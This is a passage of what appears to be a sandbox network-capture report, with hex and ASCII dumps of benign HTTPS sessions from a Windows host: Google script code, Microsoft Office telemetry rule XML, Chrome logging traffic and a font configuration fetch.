29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:18 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052318Z-15869dbbcc6khw88hC1DFWbb20000000090000000000dham x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:18 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 05:23:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-12 05:23:19 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49732	216.58.206.46	443	7224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:19 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 912 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 05:23:19 UTC	912	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 38 38 39 39 35 39 33 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731388995935",null,null,null,
2024-11-12 05:23:19 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=rdTqA4-bbo9tkbWDA12FET9u2siIXJA1YkVnHlknMEruVIxPBh0rDlzE_LqG9HuCm9SySoH7awX34ACrMu_7FDgXQPHJ0zDd2l2L-w8IOX6UgpyR7TJsWeZ3P4wgjFuoJRZAn4DIClvmIg98FLGINGCNdtTPgpxk5zlO5WknL9wU4NM093E; expires=Wed, 14-May-2025 05:23:19 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 12 Nov 2024 05:23:19 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 12 Nov 2024 05:23:19 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 05:23:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-12 05:23:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49736	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 05:23:19 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=213740 Date: Tue, 12 Nov 2024 05:23:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 05:23:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:21 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052320Z-16547b76f7fxsvjdhC1DFWprrs0000000f3000000000bxc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
